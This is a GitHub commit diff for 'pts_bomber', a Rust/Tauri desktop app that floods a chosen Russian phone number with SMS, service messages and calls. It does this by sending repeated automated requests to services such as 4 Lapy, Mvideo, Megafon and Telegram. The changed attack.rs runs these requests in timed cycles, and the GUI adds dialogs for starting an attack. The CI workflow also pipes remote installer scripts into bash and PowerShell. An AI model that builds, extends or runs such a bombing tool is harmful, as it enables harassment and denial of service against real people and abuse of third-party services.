Skip to content

Commit 2a6594e

Browse files
authored
2.0.0-beta.2
2 parents 041efa0 + 71c89db commit 2a6594e

21 files changed

+445
-215
lines changed

.github/workflows/rust.yml

+62-12
Original file line numberDiff line numberDiff line change
@@ -1,32 +1,82 @@
11
name: Rust
22

3-
on: [push, pull_request]
3+
on:
4+
push:
5+
tags:
6+
- '*'
7+
pull_request:
48

59
env:
610
CARGO_TERM_COLOR: always
711

812
jobs:
9-
build:
10-
runs-on: ubuntu-latest
13+
build_upload:
14+
name: Build and upload
15+
16+
runs-on: ${{ matrix.os }}
17+
strategy:
18+
matrix:
19+
os: [ubuntu-latest, windows-latest, macos-latest]
20+
1121
steps:
12-
- uses: actions/checkout@v4
22+
- uses: actions/checkout@v4.2.2
1323

14-
- name: Install OS dependencies
24+
- if: matrix.os == 'ubuntu-latest'
25+
name: Install OS dependencies (Ubuntu)
1526
run: |
1627
sudo apt update
1728
sudo apt install libwebkit2gtk-4.1-dev build-essential curl wget file libxdo-dev libssl-dev libayatana-appindicator3-dev librsvg2-dev
18-
- name: Install create-tauri-app
19-
run: cargo install --locked create-tauri-app
29+
curl -L --proto '=https' --tlsv1.2 -sSf https://raw.githubusercontent.com/cargo-bins/cargo-binstall/main/install-from-binstall-release.sh | bash
30+
- if: matrix.os == 'windows-latest'
31+
name: Install OS dependencies (Windows)
32+
run: Set-ExecutionPolicy Unrestricted -Scope Process; iex (iwr "https://raw.githubusercontent.com/cargo-bins/cargo-binstall/main/install-from-binstall-release.ps1").Content
33+
- if: matrix.os == 'macos-latest'
34+
name: Install OS dependencies (macOS)
35+
run: curl -L --proto '=https' --tlsv1.2 -sSf https://raw.githubusercontent.com/cargo-bins/cargo-binstall/main/install-from-binstall-release.sh | bash
36+
2037
- name: Install tauri-cli
21-
run: cargo install --locked tauri-cli
38+
run: cargo binstall tauri-cli
2239
- name: Install trunk
23-
run: cargo install --locked trunk
40+
run: cargo binstall trunk
2441
- name: Install wasm-bindgen-cli
25-
run: cargo install --locked wasm-bindgen-cli
26-
- name: Install cargo-leptos
27-
run: cargo install --locked cargo-leptos
42+
run: cargo binstall wasm-bindgen-cli
2843
- name: Install target
2944
run: rustup target add wasm32-unknown-unknown
3045

3146
- name: Build
3247
run: cargo tauri build
48+
49+
- if: matrix.os == 'ubuntu-latest'
50+
name: Upload artifact (Ubuntu)
51+
uses: actions/upload-artifact@v4.4.3
52+
with:
53+
name: 'pts_bomber_ubuntu'
54+
path: |
55+
${{ github.workspace }}/target/release/pts_bomber
56+
${{ github.workspace }}/target/release/bundle/deb/pts_bomber_*_amd64.deb
57+
${{ github.workspace }}/target/release/bundle/rpm/pts_bomber-*-1.x86_64.rpm
58+
${{ github.workspace }}/target/release/bundle/appimage/pts_bomber_*_amd64.AppImage
59+
compression-level: 9
60+
if-no-files-found: error
61+
- if: matrix.os == 'windows-latest'
62+
name: Upload (Windows)
63+
uses: actions/upload-artifact@v4.4.3
64+
with:
65+
name: 'pts_bomber_windows'
66+
path: |
67+
${{ github.workspace }}\target\release\pts_bomber.exe
68+
${{ github.workspace }}\target\release\bundle\msi\pts_bomber_*_x64_en-US.msi
69+
${{ github.workspace }}\target\release\bundle\nsis\pts_bomber_*_x64-setup.exe
70+
compression-level: 9
71+
if-no-files-found: error
72+
- if: matrix.os == 'macos-latest'
73+
name: Upload (macOS ARM)
74+
uses: actions/upload-artifact@v4.4.3
75+
with:
76+
name: 'pts_bomber_macos_arm'
77+
path: |
78+
${{ github.workspace }}/target/release/pts_bomber
79+
${{ github.workspace }}/target/release/bundle/macos/pts_bomber.app
80+
${{ github.workspace }}/target/release/bundle/dmg/pts_bomber_*_aarch64.dmg
81+
compression-level: 9
82+
if-no-files-found: error

Cargo.toml

+14-8
Original file line numberDiff line numberDiff line change
@@ -1,20 +1,26 @@
11
[package]
22
name = "pts_bomber-ui"
3-
version = "2.0.0-beta.1"
3+
version = "2.0.0-beta.2"
44
edition = "2021"
55

66
[dependencies]
7-
leptos = { version = "0.6.15", features = ["csr"] }
8-
wasm-bindgen = "0.2.95"
9-
wasm-bindgen-futures = "0.4.45"
10-
js-sys = "0.3.72"
11-
serde = { version = "1.0.214", features = ["derive"] }
7+
leptos = { version = "0.7.2", features = ["csr"] }
8+
leptos_router = "0.7.2"
9+
wasm-bindgen = "0.2.99"
10+
wasm-bindgen-futures = "0.4.49"
11+
js-sys = "0.3.76"
12+
serde = { version = "1.0.216", features = ["derive"] }
1213
serde-wasm-bindgen = "0.6.5"
1314
console_error_panic_hook = "0.1.7"
1415

1516
[workspace]
1617
members = ["src-tauri"]
1718

18-
[profile.release]
19-
lto = true
19+
[profile.wasm-release]
20+
inherits = "release"
2021
opt-level = 'z'
22+
lto = true
23+
codegen-units = 1
24+
25+
[package.metadata.leptos]
26+
lib-profile-release = "wasm-release"

README.md

+2
Original file line numberDiff line numberDiff line change
@@ -11,6 +11,7 @@
1111
### SMS
1212
1. 4 лапы
1313
2. Mvideo
14+
3. Мегафон
1415
### Сервисные SMS
1516
1. Telegram
1617
### Звонки
@@ -24,6 +25,7 @@
2425
* Git
2526
* GitHub
2627
* GitHub Actions
28+
* [![Rust](https://github.com/Patysonchick/pts_bomber/actions/workflows/rust.yml/badge.svg?branch=staging)](https://github.com/Patysonchick/pts_bomber/actions/workflows/rust.yml)
2729
* Arch Linux
2830

2931
## Импользуемое оборудование

Trunk.toml

+1
Original file line numberDiff line numberDiff line change
@@ -7,3 +7,4 @@ ignore = ["./src-tauri"]
77
[serve]
88
port = 3229
99
open = false
10+
ws_protocol = "ws"

src-tauri/Cargo.toml

+15-9
Original file line numberDiff line numberDiff line change
@@ -1,20 +1,26 @@
11
[package]
22
name = "pts_bomber"
3-
version = "2.0.0-beta.1"
3+
version = "2.0.0-beta.2"
44
edition = "2021"
55

66
[build-dependencies]
77
tauri-build = { version = "2.0.3", features = [] }
88

99
[dependencies]
10-
tauri = { version = "2.1.0", features = [] }
11-
tauri-plugin-shell = "2.0.2"
12-
tauri-plugin-dialog = "2.0.3"
13-
reqwest = { version = "0.12.9", features = ["json", "cookies"] }
14-
tokio = { version = "1.41.1", features = ["full"] }
15-
serde = { version = "1.0.214", features = ["derive"] }
16-
serde_json = "1.0.132"
10+
tauri = { version = "2.1.1", features = [] }
11+
tauri-plugin-shell = "2.2.0"
12+
tauri-plugin-dialog = "2.2.0"
13+
reqwest = { version = "0.12.11", features = ["json"] }
14+
tokio = { version = "1.42.0", features = ["full"] }
15+
futures = "0.3.31"
16+
serde_json = "1.0.134"
17+
18+
[profile.dev]
19+
incremental = true
1720

1821
[profile.release]
22+
codegen-units = 1
1923
lto = true
20-
opt-level = 'z'
24+
opt-level = "z"
25+
panic = "abort"
26+
strip = true

src-tauri/src/attack.rs

+47-41
Original file line numberDiff line numberDiff line change
@@ -1,59 +1,62 @@
11
use crate::services::{
2-
construct_call_services_list, construct_services_list, BodyType, Service, ServiceType, Victim,
2+
construct_call_services_list, construct_services_list, BodyType, Service, Victim,
33
};
4+
use futures::future::join_all;
45
use reqwest::{Client, Method};
56
use std::time::Duration;
67

7-
const CALL_DELAY: u8 = 15;
8+
const SERVICES_DELAY: u64 = 15;
9+
const CALL_SERVICES_DELAY: u64 = 30;
810

9-
/// Вы бы знали как мне стыдно за такой колхозинг, но надеюсь это на время
10-
pub async fn send(victim: Victim) -> Result<(), Box<dyn std::error::Error>> {
11-
let mut s = Vec::new();
11+
pub async fn send(victim: Victim, cycles: u64) {
12+
let mut workers = Vec::new();
1213

13-
let services = construct_services_list(victim.clone());
14-
for service in services {
15-
let t = tokio::spawn(async move {
16-
send_single(service).await.expect("");
17-
});
18-
s.push(t);
19-
}
20-
21-
let services = construct_call_services_list(victim);
22-
let t = tokio::spawn(async move {
23-
for service in services {
24-
for i in 0..CALL_DELAY {
25-
println!("Waiting {} seconds before calling", CALL_DELAY - i);
14+
let victim_clone = victim.clone();
15+
workers.push(tokio::spawn(async move {
16+
for i in 0..cycles {
17+
let services = construct_services_list(victim_clone.clone()).await;
18+
let services_futures: Vec<_> = services
19+
.into_iter()
20+
.map(|item| tokio::spawn(send_single(item)))
21+
.collect();
2622

27-
tokio::time::sleep(Duration::from_secs(1)).await;
23+
join_all(services_futures).await;
24+
if i < cycles - 1 {
25+
tokio::time::sleep(Duration::from_secs(SERVICES_DELAY)).await;
2826
}
29-
println!();
30-
31-
send_single(service.clone()).await.expect("");
3227
}
33-
});
34-
s.push(t);
28+
}));
3529

36-
for i in s {
37-
i.await?;
38-
}
30+
workers.push(tokio::spawn(async move {
31+
for i in 0..cycles {
32+
let call_services = construct_call_services_list(victim.clone()).await;
33+
let call_services_futures: Vec<_> = call_services
34+
.into_iter()
35+
.map(|item| async move {
36+
send_single(item).await;
37+
tokio::time::sleep(Duration::from_secs(CALL_SERVICES_DELAY)).await;
38+
})
39+
.collect();
3940

40-
Ok(())
41+
for call_services_handle in call_services_futures {
42+
call_services_handle.await;
43+
}
44+
if i < cycles - 1 {
45+
tokio::time::sleep(Duration::from_secs(CALL_SERVICES_DELAY)).await;
46+
}
47+
}
48+
}));
49+
50+
join_all(workers).await;
4151
}
4252

43-
async fn send_single(service: Service) -> Result<(), Box<dyn std::error::Error>> {
53+
async fn send_single(service: Service) {
4454
let client = Client::builder()
4555
.user_agent("Mozilla/5.0 (X11; Linux x86_64; rv:129.0) Gecko/20100101 Firefox/129.0")
46-
.cookie_store(true)
4756
.default_headers(service.headers)
4857
.build()
4958
.expect("");
5059

51-
match service.service_type {
52-
ServiceType::Sms => println!("Sending SMS {}", service.name),
53-
ServiceType::Call => println!("Calling {}", service.name),
54-
ServiceType::ServiceMessage => println!("Sending service SMS {}", service.name),
55-
}
56-
5760
let mut res;
5861
match service.method {
5962
Method::GET => res = client.get(service.url),
@@ -65,9 +68,12 @@ async fn send_single(service: Service) -> Result<(), Box<dyn std::error::Error>>
6568
BodyType::Form => res = res.form(&service.body),
6669
}
6770

68-
let res = res.send().await?;
69-
println!("{}: {}", res.status(), res.text().await?);
70-
println!("{} sent\n", service.name);
71-
72-
Ok(())
71+
println!("Starting {}", service.name);
72+
let res = res.send().await.expect("");
73+
println!(
74+
"{} {}\n{}\n",
75+
service.name,
76+
res.status(),
77+
res.text().await.unwrap()
78+
);
7379
}

src-tauri/src/main.rs

+50-9
Original file line numberDiff line numberDiff line change
@@ -7,22 +7,24 @@ mod services;
77
use crate::attack::send;
88
use crate::phone::{Country, FormatterErrors, Phone};
99
use crate::services::Victim;
10+
use tauri_plugin_dialog::{DialogExt, MessageDialogKind};
1011

12+
#[tokio::main]
1113
#[cfg_attr(mobile, tauri::mobile_entry_point)]
12-
fn main() {
14+
async fn main() {
1315
tauri::Builder::default()
1416
.plugin(tauri_plugin_shell::init())
1517
.plugin(tauri_plugin_dialog::init())
16-
.invoke_handler(tauri::generate_handler![echo, format_phone_ru, attack])
18+
.invoke_handler(tauri::generate_handler![
19+
format_phone_ru,
20+
show_dialog_error,
21+
attack,
22+
show_about_window
23+
])
1724
.run(tauri::generate_context!())
1825
.expect("error while running tauri application");
1926
}
2027

21-
#[tauri::command]
22-
fn echo(msg: &str) {
23-
println!("Echo {}", msg);
24-
}
25-
2628
#[tauri::command]
2729
fn format_phone_ru(numbers: &str) -> String {
2830
match Phone::new(numbers.to_string(), Country::Ru) {
@@ -41,7 +43,36 @@ fn format_phone_ru(numbers: &str) -> String {
4143
}
4244

4345
#[tauri::command]
44-
async fn attack(phone: String) {
46+
async fn show_dialog_error(app: tauri::AppHandle, e: String) {
47+
let message = match e.as_str() {
48+
"0" => app.dialog().message("Неправильная длина номера"),
49+
"1" => app
50+
.dialog()
51+
.message("Неправильный шаблон номера\nОн должен быть похожим на 7 (9xx) xxx-xx-xx"),
52+
"2" => app.dialog().message("Подождите..."),
53+
_ => app.dialog().message(""),
54+
};
55+
56+
if e == "0" || e == "1" {
57+
message
58+
.kind(MessageDialogKind::Error)
59+
.title("Неправильно набран номер")
60+
.blocking_show();
61+
} else if e == "2" {
62+
message
63+
.kind(MessageDialogKind::Warning)
64+
.title("Уже атакует")
65+
.blocking_show();
66+
} else {
67+
message
68+
.kind(MessageDialogKind::Error)
69+
.title("Неизвестная ошибка")
70+
.blocking_show();
71+
}
72+
}
73+
74+
#[tauri::command]
75+
async fn attack(phone: String, cycles: u64) {
4576
let phone = Phone {
4677
phone,
4778
country: Country::Ru,
@@ -55,5 +86,15 @@ async fn attack(phone: String) {
5586
};
5687

5788
println!();
58-
let _ = send(victim).await;
89+
let _ = send(victim, cycles).await;
90+
}
91+
92+
#[tauri::command]
93+
async fn show_about_window(app: tauri::AppHandle) {
94+
tauri::WebviewWindowBuilder::new(&app, "about", tauri::WebviewUrl::App("/about".into()))
95+
.title("О программе")
96+
.inner_size(350.0, 600.0)
97+
.resizable(false)
98+
.build()
99+
.unwrap();
59100
}

0 commit comments

Comments
 (0)